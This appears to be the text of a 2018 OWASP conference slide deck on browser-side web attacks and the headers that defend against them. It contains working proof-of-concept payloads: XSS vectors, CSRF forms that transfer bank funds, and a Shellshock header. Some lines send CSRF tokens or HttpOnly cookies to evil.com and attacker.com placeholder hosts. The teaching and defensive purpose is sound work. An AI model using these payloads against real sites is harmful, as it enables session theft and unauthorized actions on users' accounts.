Renato Rodrigues  






Images from Alrra Browser-Logos.

Hoisting is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution.


##Function declarations

hoisted(); // Output: "This function has been hoisted."

function hoisted() {
  console.log('This function has been hoisted.');

##Function expressions

expression(); //Output: "TypeError: expression is not a function

var expression = function() {
  console.log('Will this work?');


<TAG EVENT_HANDLER="notSureIf(); function notSureIf(){alert(1)};"></TAG>

For Real...


Specify a charset 

<script src="//JSON-ENDPOINT" charset="utf-16be"></script>


Content-Type: application/json; charset=utf-8

The weird case of JSON Hijack


Remember: UTF-8 (1 byte) | UTF-16 (2 bytes) | UTF-32 (4 bytes)

  - Use a non-ASCII encoding in order to avoid the infinite loop;
  - Have valid Javascript.


The weird case of JSON Hijack

while(1) ... -> To Unicode

UTF-16BE Encode
  "睨楬攨ㄩ" ...

Since the JSON endpoint had an injection
By injecting "unicode_identifier=1//"

We can access the "window" object, and get the last prop set:


JSON content will be inside its bytes!

睨楬攨ㄩ .. %00=%001%00/%00/

I will never let you Down!


Microsoft Internet Explorer (IE) ships several different document modes - meaning different ways to render a HTML document. These modes are meant to provide a fallback in case a website renders incorrectly after a new IE version is released.

It can be activated using HTTP headers or <meta> elements.

 A document mode will be given from parent frame to child frame - classic inheritance.

Show Me

<!-- attacker.com -->
<meta http-equiv="X-UA-Compatible" content="IE=7">
<iframe src="http://victim.com/"></iframe>

<!-- victim.com -->
"<!doctype html>" === "NotExist" ? IE9<->IE5 : IE8
    <% Arrrg I'm back from the deads! >

But <!doctype html> is always set.

<!doctype html> can be effectively bypassed using CV list.

 If a page runs in compat mode because of CV list, its child frames will also inherit its docmode, regardless of the doctype.

What are you talking about...

<!-- Ref: https://cure53.de/xfo-clickjacking.pdf -->
Expressions are back \m/

<div style="color: red; foo: expression(open(alert(1)))">XSS via CSS</div>

Only works, if document mode set to IE5 Quirks or IE7. IE11 doesn't support 
CSS Expressions in the Internet Zone - a page must be marked to be running 
in the "Trusted Zone" to make them work.

<!-- Ref: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html -->
It seems that IE7 mode cannot access an element created dynamically with 
JavaScript via the name.

<!-- Wondering WTF is <% > is just a IE11 ASP.NET Request Validator 
     bypass by .mario -->
<% style=behavior:url(:onreadystatechange=alert(1)>

<!-- Docmode IE8 and below by @garethheyes -->
<comment><img src="</comment><iframe onload=alert(1)>">


Exploiting the unexploitable

Sponsored by

Content-Type: text/plain

Plain text does not provide for or allow formatting commands, font attribute specifications, processing instructions, interpretation directives, or content markup.

Plain text is seen simply as a linear sequence of characters, possibly interrupted by line breaks or page breaks.

MS Outlook

Express mail message (EML)

EML is a file extension for an e-mail message saved to a file in the MIME RFC 822 standard format by Microsoft Outlook Express as well as some other email programs.

EML files can contain plain ASCII text for the headers and the main message body as well as hyperlinks and attachments.


IE can render .eml files, as long as the Content-Type is set to "message/rfc822".

IE will perform mime-type sniffing if HTML/JS is present in the response and it will render/execute.

X-Content-Type-Options: nosniff

Serve an .eml file with the proper Content-Type and frame the vulnerable site with your injection (yes that text/plain endpoint). Make sure that IE performs mime-type sniffing and it's done!

Seeing Is believing

## plainxss.eml

Content-Type: text/html
Content-Transfer-Encoding: 8bit

<iframe src="//0d.al/plaintext/plain.php?inj=<html><h1>NoHTMLPossible</h1>"></iframe>

## .htaccess

AddType message/rfc822 .eml

See? Give IE some TLC

Just a Secret!

ERROR 404 

This location is awesome!


the Problem

http://URL.com/urlxss/vulnpage.html?Browser Encode the URL by Default. e.g.: <img src=x>

When the URL is presented in the page this is what it looks like.

<h1>This location is awesome!</h1>

"Hackable" location properties

It's possible to pass single ('), double quote (") and angle brackets (< >) without enconding. 

location.href, location.search, location.hash, location.pathname, document.URL, document.documentURI, document.URLUnencoded, document.baseURI, document.referrer


<!-- rd.php - Simple Redirect in PHP -->

    $redirectUrl = $_GET['url'];
    header("Location: $redirectUrl");

Just a small tweak

+ Redirect + URL

Good News

+ Redirect + URL

The HTTP referrer is an HTTP header field that identifies the address of the webpage (i.e. the URI or IRI) which is linked to the resource being requested. By checking the referrer, the new webpage can see where the request originated.

<h1>This location is awesome!</h1>



<img src="http://site.com/action.php?id=666&ship=BAD_GUY" height="0" width="0">

What we should know

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.

The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application.

 traditional Attacks

//Original Request - From Maria Account to Bob $100
Via GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

//Send $100000 to Maria (Attacker Request)

<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">

//Original Request - From Maria Account to Bob $100
Via POST http://bank.com/transfer.do HTTP/1.1


//Send $100000 to Maria (Attacker Request)
<form action="http://bank.com/transfer.do" method="POST">
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>

<body onload="document.forms[0].submit()">

JSON Will Not Save the Day!

<form action="http://domain.tld/ws101/csrf/japi.php" method="POST" enctype="text/plain" >
        <input name='{"CSRF":"VIA-FORM","hmm":"TOPS!", "ignore_me":"' value='test"}'type='hidden'>
        <input type=submit>
Payload: {"CSRF":"VIA-FORM","hmm":"TOPS!", "ignore_me":"=test"}

Crafting JSON Payload using FORM HTML Element

Simple HTTP Request - CORS "Bypass"

    function jsonreq() {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.withCredentials = true;
        xmlhttp.open("POST","http://domain.tld/ws101/csrf/japi.php", true);


Create one unique token per user.

Tokens should change per session or request. Add a per-request token/nonce to the URL and all forms in addition to the standard session.

If you don't verify tokens/nonces, there is no point in having this.

Use special Headers (SPA) and validate the Content-Type.

SameSite Cookie (Strict/Lax).

Set-Cookie: CookieName=CookieValue; SameSite=Strict/Lax;

Hidden Fields

That injection s*cks!

<input value="" type="hidden" id="returl" name="returl">

Hidden Inputs

These fields should not be rendered and provide a means for servers to store state information with a form. This will be passed back to the server when the form is submitted, using the name/value pair defined by the corresponding attributes. This is a work around for the statelessness of HTTP. Another approach is to use HTTP "Cookies".

Firefox Only

Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X.

<input type="hidden" value="" accesskey="X" onclick="alert(1)">
<meta http-equiv="x-ua-compatible" content="IE=10">

<iframe src="//URL.tld/?injection=
                'style='behavior:url(?)' onreadystatechange='alert(1)">

IE Only

The behavior property lets you use CSS to attach a script to a specific element in order to implement DHTML (Dynamic HTML) components.

                           " type=image src onerror="alert(1)


We can trick the element into thinking it's an image-input. We simply set the type to image and then we can assign a src and use an error handler.

Target ATTRibute


Opens the linked document in a new window or tab

_self (default)
Opens the linked document in the same frame as it was clicked 

Opens the linked document in the parent frame

Opens the linked document in the full body of the window

Opens the linked document in a named frame

<a target="_blank|_self|_parent|_top|framename" href="#">

_Blank Curse

<a target="_blank" href="//domain.tld/attacker.html">

By default the attacker.html document in the new tab has a window.opener which:

If Same-Origin
window.opener.window is accessible.

If Cross-Origin
window.opener.location is accessible.

What can go wrong?
Full Control of domain.tld or easy phishing...


Ensure window.opener is null!

By setting rel attribute to noopener and noreferrer.

PS: If you open a new window via window.open(), you're also "vulnerable", so remember to:

<a target="_blank" href="//domain.tld/attacker.html" rel="noopener noreferrer">
var nW = window.open();
nW.opener = null;
nW.location = url;

Do you still remember framename value?


The name of the window is used primarily for setting targets for hyperlinks and forms. Windows do not need to have names.

It has also been used in some frameworks for providing cross-domain messaging as a more secure alternative to JSONP.


window.name will convert all values to their string representations by using the toString method.

Window.name Abuse

Google Syndication has a open DOM XSS or feature!
window.name as source and document.write as a sink.

After 13 years it's still a thing!

Replace: "//GS" by "https://tpc.googlesyndication.com/safeframe/1-0-25/html/container.html"

<!-- Via iframe -->
<iframe name="1;25;<svg/onload=alert(/XSS/)>true" src="//GS"></iframe>

<!-- Via Javascript -->

<!-- Via anchor -->
<a target="1;25;<svg/onload=alert(/XSS/)>true" href="//GS">XSS</a>
<!-- Via anchor II -->
<base target="1;25;<svg/onload=alert(/XSS/)>true">
<a href="//GS">XSS</a>

<!-- Via img -->
<img src="http://bit.ly/2EuxNyT" alt="OWASP" usemap="#xss">
<map name="xss">
  <area shape="rect" coords="0,0,900,300" target="1;25;<svg/onload=alert(/XSS/)>true" href="//GS">

<!-- Via form -->
<form action="//GS" method="get" target="1;25;<svg/onload=alert(/XSS/)>true">
  <input type="submit" value="Submit">



Mathematical Markup Language (MathML) is a mathematical markup language, an application of XML for describing mathematical notations and capturing both its structure and content. It aims at integrating mathematical formulae into World Wide Web pages and other documents. It is part of HTML5 and an ISO standard ISO/IEC DIS 40314 since 2015.

E.G. Pythagorean theorem

            <mi> a </mi>
            <mn> 2 </mn>
        <mo> + </mo>
            <mi> b </mi>        
            <mn> 2 </mn>
         <mo> = </mo> 
            <mi> c </mi>
            <mn> 2 </mn>
a² + b² = c²

LEts use some Math

<!-- Simple SVG image -->
<img src=awesome.svg>

<!-- awesome SVG --> 
<svg width="400px" height="300px" viewBox="0 0 400 300"
    <foreignObject width="400" height="300"

<math xmlns="http://www.w3.org/1998/Math/MathML" xmlns:xlink="http://www.w3.org/1999/xlink">
  <annotation-xml encoding="application/xhtml+xml">

  <body xmlns="http://www.w3.org/1999/xhtml">
      <h1>Awesome SVG</h1> 
      <meta http-equiv="set-cookie" content="mathmlcookie=great_to_see_you;" />

mesSY? Check This:



Vector Markup Language (VML)

Portable Document Format (PDF)


A deadly combination


HTTP Header Injection vulnerabilities occur when user input is insecurely included within server responses headers.

Normally it includes carriage-return and line-feed characters within the server response.


HTTP/1.1 302 Object moved
Connection: close
Location: account.asp?origin=foo
Set-Cookie: SESSIONID=SessionFixed
Content-Length: 121

Dangling markup injection

An extraction technique that uses the injection of non-terminated markup.

This action prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, until the expected terminating sequence is encountered.

<!-- http://lcamtuf.coredump.cx/postxss/ -->

<img src='http://evil.com/log.cgi?   ← Injected line with a non-terminated parameter
<input type="hidden" name="xsrf_token" value="12345">
'                  ← Normally-occurring apostrophe in page text
</div>             ← Any normally-occurring tag (to provide a closing bracket)

HTTPOnly Cookies

When you tag a cookie with the HTTPOnly flag, it tells the browser that this particular cookie should only be accessed by the server. Any attempt to access the cookie from client script is strictly forbidden.

The Combination



HTTPOnly Cookies




# An Attacker (Should shorten the link for ease of exploitation)
Long Link; https://VULNERABLE.DOM/xpto_page.st?parameter=%0d%0a

# In Detail

# Return on the response header to tell the browser that everything is OK 
HTTP/1.1 200 OK 
# Return on the response header to start HTML injection 
Content-Type: text/html 
# This Blank line is mandatory to start HTTP body 

# Cosmetic HTML can be removed 
<center><h1>HTML Injection</h1></center>
# Unclosed HTML tag that will take the body information as data to the data parameter
#  leading to the leak of HTTPOnly cookies (e.g. session) 
<img src='http://attacker.com/data.php= 

Collection Demo 

Security HEaders

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: (){:;}; /bin/bash -c "whoami"

Host: a<svg%0conload=alert``>.0d.al

HTTP Headers

In Short

HTTP message headers are used to precisely describe the resource being fetched or the behavior of the server or the client. Custom proprietary headers can be added using the 'X-' prefix; others are listed in an IANA registry, whose original content was defined in RFC 4229.

HTTP headers are the core part of HTTP requests and responses, and they carry information about the browser, the requested content, the server and much more.

Classic Headers


 Sets the configuration for the cross-site scripting filters built into most browsers.

X-XSS-Protection 1; mode=block


Tells the browser whether you want to allow your site to be framed or not.

X-Frame-Options DENY


Stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type.

X-Content-Type-Options nosniff

Classic Headers


Is an excellent feature to support on your site and strengthens your implementation of TLS by getting the User Agent to enforce the use of HTTPS.

Strict-Transport-Security max-age=31536000; includeSubdomains; preload


Protects your site from MiTM attacks using rogue X.509 certificates. By whitelisting only the identities that the browser should trust, your users are protected in the event a certificate authority is compromised.

Public-Key-Pins pin-sha256="t/OMbK...JM="; max-age=600; report-uri="..."

Classic Headers


Is an effective measure to protect your site from several attacks. By setting sources of approved content, you can prevent the browser from loading malicious assets.

script-src 'strict-dynamic' 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' 'unsafe-inline' http: https:; object-src 'none'; base-uri 'none'; report-uri https://csp.example.com;



HTTP header governs which referrer information, sent in the Referrer header, should be included with requests made.

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url



Feature Policy will allow a site to enable or disable certain browser features and APIs in the interest of better security and privacy.

 accelerometer 'none';
 camera 'none'; 
 geolocation 'none'; 
 gyroscope 'none';
 microphone 'none';
 payment 'none';
 usb 'none'
 push 'self'

More Freebies


Clear Site Data

Mechanism for programmatically defining origins to isolate different applications running in the same physical origin.

Clears browsing data (cookies, storage, cache) associated with the requesting website.

Subresource Integrity

Upgrade Insecure Requests


Just Before Leaving!

A (non-comprehensive) list of researchers that r0ck our world!

The End!

Renato Rodrigues  



Browsers - For better or worse ...

By Renato Rodrigues

Browsers - For better or worse ...

Browsers - For better or worse ... OWASP Bucharest AppSec Conference 2018

  • 4,872